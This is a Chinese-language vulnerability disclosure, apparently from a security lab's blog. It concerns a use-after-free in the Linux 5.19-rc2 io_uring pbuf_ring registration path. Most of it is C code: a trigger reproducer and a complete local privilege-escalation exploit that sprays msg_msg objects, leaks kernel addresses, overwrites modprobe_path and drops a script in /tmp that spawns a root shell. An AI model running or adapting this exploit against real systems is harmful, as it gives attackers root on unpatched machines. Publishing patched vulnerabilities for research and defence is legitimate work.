linux内核io_uring模块pbuf_ring漏洞与提权0day

linux内核io_uring模块pbuf_ring漏洞与提权0day
2022-7-29 16:7:28 Author: dawnslab.jd.com(查看原文) 阅读量:58 收藏

本实验室使用syzkaller对linux-5.19-rc2版本的io_uring模块进行fuzz时, 在io_register_pbuf_ring()函数中发现了了一枚由于错误的异常处理导致的UAF漏洞, 通过slab跳跃与kernel unlink attack等技巧, 本文较为简单的堆环境下成功实现了提权. 但是目前该漏洞已经在5.19-rc8中被修复, 因此决定将该0day漏洞发现的过程与漏洞利用细节进行公布

#define _GNU_SOURCE

#include <endian.h>
#include <linux/io_uring.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef __NR_io_uring_register
#define __NR_io_uring_register 427
#endif

#ifndef __NR_io_uring_setup
#define __NR_io_uring_setup 425
#endif

int io_uring_setup(unsigned entries, struct io_uring_params* p)
{
    return (int)syscall(__NR_io_uring_setup, entries, p);
}

int io_uring_register(unsigned int fd, unsigned int opcode,
    void* arg, unsigned int nr_args)
{
    return (int)syscall(__NR_io_uring_register, fd, opcode, arg, nr_args);
}

#define IORING_REGISTER_PBUF_RING (22)

struct io_uring_buf_reg {
    __u64 ring_addr;
    __u32 ring_entries;
    __u16 bgid;
    __u16 pad;
    __u64 resv[3];
};

int main(void)
{
    struct io_uring_params p;
    memset(&p, 0, sizeof(p));
    int ring_fd = io_uring_setup(0x1, &p);

    struct io_uring_buf_reg reg;
    memset(&reg, 0, sizeof(reg));
    reg.ring_addr = 0xf00000000;
    reg.ring_entries = 0x20000000;

    io_uring_register(ring_fd, IORING_REGISTER_PBUF_RING, &reg, 1);

    return 0;
}

io_uring_register系统调用会调用__io_uring_register()处理, 根据opcode进入io_register_pbuf_ring()处理

正常的是右边的操作, 但是这里是左边的操作. 由于slab会根据bl&(~size的掩码)找到要释放的对象, 因此整个io_bl都会被释放掉, 从而造成后续的UAF漏洞

由于io_buffer_list的结构与msg_msg结构类似, 因此exp的主要思路就是通过通过UAF的io_buffer_list对象来控制msg_msg, 详细的可以看EXP代码, 其中注释比较详细

#define _GNU_SOURCE

#include <endian.h>
#include <fcntl.h>
#include <linux/io_uring.h>
#include <linux/types.h>
#include <pthread.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <unistd.h>


typedef unsigned long long uLL;
typedef long long LL;
#define PAGE_SIZE (0x1000)

#define LOG(val) printf("[%s][%s][%d]: %s=0x%llx\n", __FILE__, __FUNCTION__, __LINE__, #val, (uLL)val)

void Hexdump(char* buf, long size)
{
    for (int i = 0; i < size; i += 8)
        printf("+%02x\t0x%016llx\n", i, *(uLL*)(buf + i));
}


void* Mmap(void* base, size_t len)
{
    int flags = MAP_ANONYMOUS | MAP_PRIVATE;
    if (base)
        flags |= MAP_FIXED;

    void* res = mmap(base, len, PROT_READ | PROT_WRITE, flags, -1, 0);
    if ((LL)res == -1 || (base && (res != base))) {
        perror("Mmap");
        exit(-1);
    }
    memset(res, '\x00', len);
    return res;
}


void spray(char* buf, long size)
{
    setxattr("/exp", "XXXXX", buf, size, XATTR_CREATE);
    perror("setxattr");
}



int io_uring_setup(unsigned entries, struct io_uring_params* p)
{
    return (int)syscall(__NR_io_uring_setup, entries, p);
}

int io_uring_register(unsigned int fd, unsigned int opcode,
    void* arg, unsigned int nr_args)
{
    return (int)syscall(__NR_io_uring_register, fd, opcode, arg, nr_args);
}

int io_uring_enter(int ring_fd, unsigned int to_submit, unsigned int min_complete, unsigned int flags)
{
    return (int)syscall(__NR_io_uring_enter, ring_fd, to_submit, min_complete, flags, NULL, 0);
}

#define IORING_REGISTER_PBUF_RING (22)
#define IORING_UNREGISTER_PBUF_RING (23)

#define IORING_OP_PROVIDE_BUFFERS (31)


struct io_uring_buf_reg {
    __u64 ring_addr;
    __u32 ring_entries;
    __u16 bgid;
    __u16 pad;
    __u64 resv[3];
};


struct new_io_uring_sqe {
    __u8 opcode; 
    __u8 flags; 
    __u16 ioprio; 
    __s32 fd; 
    union {
        __u64 off; 
        __u64 addr2;
        __u32 cmd_op;
    };
    union {
        __u64 addr; 
        __u64 splice_off_in;
    };
    __u32 len; 
    union {
        __kernel_rwf_t rw_flags;
        __u32 fsync_flags;
        __u16 poll_events; 
        __u32 poll32_events; 
        __u32 sync_range_flags;
        __u32 msg_flags;
        __u32 timeout_flags;
        __u32 accept_flags;
        __u32 cancel_flags;
        __u32 open_flags;
        __u32 statx_flags;
        __u32 fadvise_advice;
        __u32 splice_flags;
        __u32 rename_flags;
        __u32 unlink_flags;
        __u32 hardlink_flags;
        __u32 xattr_flags;
        __u32 close_flags;
    };
    __u64 user_data;
    union {
        __u16 buf_index;
        __u16 buf_group;
    } __attribute__((packed));
    __u16 personality;
    union {
        __s32 splice_fd_in;
        __u32 file_index;
    };
    union {
        struct {
            __u64 addr3;
            __u64 __pad2[1];
        };
        __u8 cmd[0];
    };
};


struct io_buffer_list {
    union {
        struct {
            void* buf_pages;
            void* buf_ring;
        };
    };
    __u16 bgid; 

    
    __u16 buf_nr_pages; 
    __u16 nr_entries; 
    __u32 head;
    __u32 mask;
};


#define io_uring_smp_store_release(p, v)                   \
    atomic_store_explicit((_Atomic typeof(*(p))*)(p), (v), \
        memory_order_release)

#define io_uring_smp_load_acquire(p)                 \
    atomic_load_explicit((_Atomic typeof(*(p))*)(p), \
        memory_order_acquire)



void clean_slab_4K(void)
{
    int msgid[0x10];
    int ret;
    for (int i = 0; i < 0x10; i++) {
        msgid[i] = msgget((key_t)1000 + i, 0666 | IPC_CREAT | IPC_EXCL);
        LOG(msgid[i]);
        struct msgbuf* msg = malloc(PAGE_SIZE * 2 + 0x30);

        puts("msgsnd");
        msg->mtype = 0x1;
        memset(msg->mtext, '\x00', PAGE_SIZE * 2);
        ret = msgsnd(msgid[i], msg, PAGE_SIZE * 2, 0);
    }

    char* res = malloc(PAGE_SIZE * 2);
    for (int i = 0; i < 0x10; i++) {
        ret = msgrcv(msgid[i], res, PAGE_SIZE * 2, 0x1, 0);
    }
}


int uring_fd;
int msgid[0x10];
char* buffer; 
#define BUFFER_LEN (PAGE_SIZE * 8) 
#define PBUF_BASE ((void*)0x1000) 
struct new_io_uring_sqe* sqes; 

unsigned *sring_tail, *sring_mask, *sring_array, *cring_head;

void init(void)
{
    setbuf(stdout, NULL);

    struct io_uring_params p;
    memset(&p, 0, sizeof(p));
    uring_fd = io_uring_setup(0x1, &p); 

    
    int sring_sz = p.sq_off.array + p.sq_entries * sizeof(unsigned);

    
    int cring_sz = p.cq_off.cqes + p.cq_entries * sizeof(struct io_uring_cqe);

    
    int sqes_sz = p.sq_entries * sizeof(struct new_io_uring_sqe);

    
    unsigned char* sq_ptr = mmap(NULL, sring_sz, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING);
    LOG(sq_ptr);

    sring_tail = (unsigned int*)(sq_ptr + p.sq_off.tail); 
    sring_mask = (unsigned int*)(sq_ptr + p.sq_off.ring_mask); 
    sring_array = (unsigned int*)(sq_ptr + p.sq_off.array); 

    
    sqes = mmap(NULL, sqes_sz, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES);
    LOG(sqes);

    
    unsigned char* cq_ptr = mmap(NULL, cring_sz, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING);
    LOG(cq_ptr);

    cring_head = (unsigned int*)(cq_ptr + p.cq_off.head); 

    
    for (int i = 0; i < 0x10; i++) {
        msgid[i] = msgget((key_t)1234 + i, 0666 | IPC_CREAT | IPC_EXCL);
        
    }

    
    buffer = Mmap(0, BUFFER_LEN);
    if (buffer == NULL) {
        perror("malloc buffer");
    }
}


void* worker(void* res)
{
    




    msgrcv(msgid[0], res, PAGE_SIZE,  (long)PBUF_BASE, 0);
    puts("shouldn't get here");
}

void trigger_UAF(void)
{
    int ret;

    
    struct io_uring_buf_reg reg;
    memset(&reg, 0, sizeof(reg));
    reg.ring_addr = 0xF00000000; 
    reg.ring_entries = 0x20000000; 
    reg.bgid = 0x0;

    
    
    ret = io_uring_register(uring_fd, IORING_REGISTER_PBUF_RING, &reg, 1);
    LOG(ret);
}

void submit_provide_buffer(void)
{
    io_uring_smp_store_release(&sring_array[0], 0); 

    
    int tail = *sring_tail;
    tail++;
    io_uring_smp_store_release(sring_tail, tail);

    
    int ret = io_uring_enter(uring_fd, 1, 1, IORING_ENTER_GETEVENTS);
    LOG(ret);

    
    int head = io_uring_smp_load_acquire(cring_head);
    head++;
    io_uring_smp_store_release(cring_head, head);
}


void alloc_msg(int idx, int size, int num)
{
    struct msgbuf* msg = (struct msgbuf*)buffer;
    int msg_len = size - 0x30;
    LOG(msg_len);

    memset(msg->mtext, 0xCC, msg_len);
    for (int i = 0x0; i < num; i++) {
        msg->mtype = i + 1;
        if (msgsnd(msgid[idx], msg, msg_len, 0) != 0)
            perror("msgsnd");
        LOG(i);
    }
}

int main(void)
{
    int ret;
    init();

    
    trigger_UAF();

    
    struct msgbuf* msg = (struct msgbuf*)buffer;
    
    
    int msg_len = 0x420 - 0x30;
    msg->mtype = 0x0001; 
    memset(msg->mtext, '\x00', msg_len);
    msgsnd(msgid[0], msg, msg_len, 0); 

    
    
    
    void* pbuf = Mmap(PBUF_BASE, PAGE_SIZE); 
    LOG(pbuf);
    sqes[0].opcode = IORING_OP_PROVIDE_BUFFERS;
    sqes[0].rw_flags = 0;
    sqes[0].splice_fd_in = 0;
    sqes[0].fd = 1; 
    sqes[0].addr = (uLL)pbuf; 
    sqes[0].len = 0xFD0; 
    sqes[0].buf_group = 0; 
    submit_provide_buffer();

    
    for (int i = 0; i < 0x2; i++) {
        sqes[0].addr = (uLL)malloc(0x100);
        sqes[0].len = 0x100;
        sqes[0].buf_group = 33; 
        submit_provide_buffer();
    }

    
    uLL* tag = (uLL*)(buffer + 0xF00); 
    *tag = 0xdeadbeef;
    pthread_t th;
    pthread_create(&th, NULL, worker, buffer);

    
    while (*tag == 0xdeadbeef) 
        ;
    
    uLL io_bl = *((uLL*)(buffer + 0x18)) - 0x420; 
    LOG(io_bl);

    
    msg_len = 0x800 - 0x30;
    memset(msg->mtext, 0x00, msg_len);
    msgsnd(msgid[2], msg, msg_len, 0);

    int spray_uring_fd;
    struct io_uring_params p;
    memset(&p, 0, sizeof(p));
    spray_uring_fd = io_uring_setup(0x1, &p); 
    LOG(spray_uring_fd);

    
    ret = msgrcv(msgid[0], buffer, PAGE_SIZE,  (long)0x0001, 0); 
    LOG(ret);
    msg_len = 0x800 - 0x30; 

    
#define IDX(x) (((x)-0x30) / 8)

    
    uLL* tmp = (uLL*)msg->mtext; 
    tmp[IDX(0x40)] = io_bl + 0x60; 
    tmp[IDX(0x48)] = io_bl; 
    tmp[IDX(0x50)] = 0x10000; 
    tmp[IDX(0x60)] = io_bl + 0x68; 
    tmp[IDX(0x68)] = 0xdeadbeef; 

    tmp[IDX(0x80)] = io_bl + 0xa0; 
    tmp[IDX(0x88)] = io_bl; 
    tmp[IDX(0x90)] = 0x10000; 
    tmp[IDX(0xa0)] = io_bl + 0x1000; 

    
    ret = msgsnd(msgid[1], msg, msg_len, 0); 
    LOG(ret);

    
    struct io_uring_buf_reg reg;
    memset(&reg, 0, sizeof(reg));
    reg.bgid = 0x2; 
    ret = io_uring_register(uring_fd, IORING_UNREGISTER_PBUF_RING, &reg, 1);
    LOG(ret);

    
    msg_len = 0x800 - 0x30;
    tmp = (uLL*)msg->mtext;
    
    tmp[IDX(0x420 - 0x60)] = io_bl + 0x420; 
    tmp[IDX(0x800 - 0x60)] = io_bl + 0x830; 
    tmp[IDX(0x808 - 0x60)] = io_bl + 0x830; 
    tmp[IDX(0x810 - 0x60)] = 0x00001; 
    tmp[IDX(0x818 - 0x60)] = 0xFD0; 
    tmp[IDX(0x820 - 0x60)] = 0; 
    tmp[IDX(0x828 - 0x60)] = io_bl + 0x840; 

    tmp[IDX(0x830 - 0x60)] = io_bl + 0x800; 
    tmp[IDX(0x838 - 0x60)] = io_bl + 0x800;
    tmp[IDX(0x840 - 0x60)] = 0xdeadbeef;

    ret = msgsnd(msgid[3], msg, msg_len, 0); 
    LOG(ret);

    
    msgrcv(msgid[2], buffer, PAGE_SIZE,  (long)0x0001, 0);
    uLL* io_ring_ctx = (uLL*)(buffer + 0x8 + 0x800 - 0x30);
    
    LOG(io_ring_ctx[0x420 / 8]); 
    LL kaslr = io_ring_ctx[0x420 / 8] - 0xffffffff81083250;
    LOG(kaslr);
    LL modprobe_path = kaslr + 0xffffffff82850e40;
    LOG(modprobe_path);

    
    
    msg_len = 0x800 - 0x30;
    memset(msg->mtext, 0x00, msg_len);
    msgsnd(msgid[4], msg, msg_len, 0);
    
    ret = msgrcv(msgid[3], buffer, PAGE_SIZE,  (long)0x0001, 0);
    LOG(ret);
    
    msg_len = 0x800 - 0x30;
    tmp = (uLL*)msg->mtext;
    
    tmp[IDX(0x420 - 0x60)] = io_bl + 0x420; 
    tmp[IDX(0x800 - 0x60)] = modprobe_path - 0x8; 
    tmp[IDX(0x808 - 0x60)] = 0x612f706d742f; 
    tmp[IDX(0x810 - 0x60)] = 0x00001; 
    tmp[IDX(0x818 - 0x60)] = 0xFD0; 
    tmp[IDX(0x820 - 0x60)] = 0; 
    tmp[IDX(0x828 - 0x60)] = io_bl + 0x840; 

    
    msgsnd(msgid[5], msg, msg_len, 0);

    if (fork() == 0) { 
        msgrcv(msgid[4], buffer, PAGE_SIZE,  (long)0x0001, 0);
    }

    
    sleep(2);
    int fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
    LOG(fd);
    read(fd, buffer, 0x10);
    puts(buffer);
    close(fd);

    
    fd = open("/tmp/a", O_RDWR|O_CREAT);
    char *script = "#!/bin/sh\nchmod 777 /flag\nsetsid cttyhack setuidgid 0 /bin/sh\n";
    write(fd, script, strlen(script));
    close(fd);
    system("chmod 777 /tmp/a");

    
    int ff = open("/tmp/asd", O_WRONLY | O_CREAT);
    write(ff, "\xff\xff\xff\xff", 4);
    close(ff);

    
    system("chmod 777 /tmp/asd; /tmp/asd");
    if(fork()==0)
        system("/bin/sh");

    puts("alive");
    while (1)
        ;

    return 0;
}

抛开具体的漏洞利用技巧, 该漏洞告诉我们新的代码往往是buggy的，需要时间来进行检验才会变的稳定可靠。io_uring作为一个蓬勃发展的模块, 代码量已经膨胀到仅2万行, 在提升IO效率的同时, 其安全性值得关注.

文章来源: https://dawnslab.jd.com/linux-5.19-rc2_pbuf_ring_0day/
如有侵权请联系:admin#unsafe.sh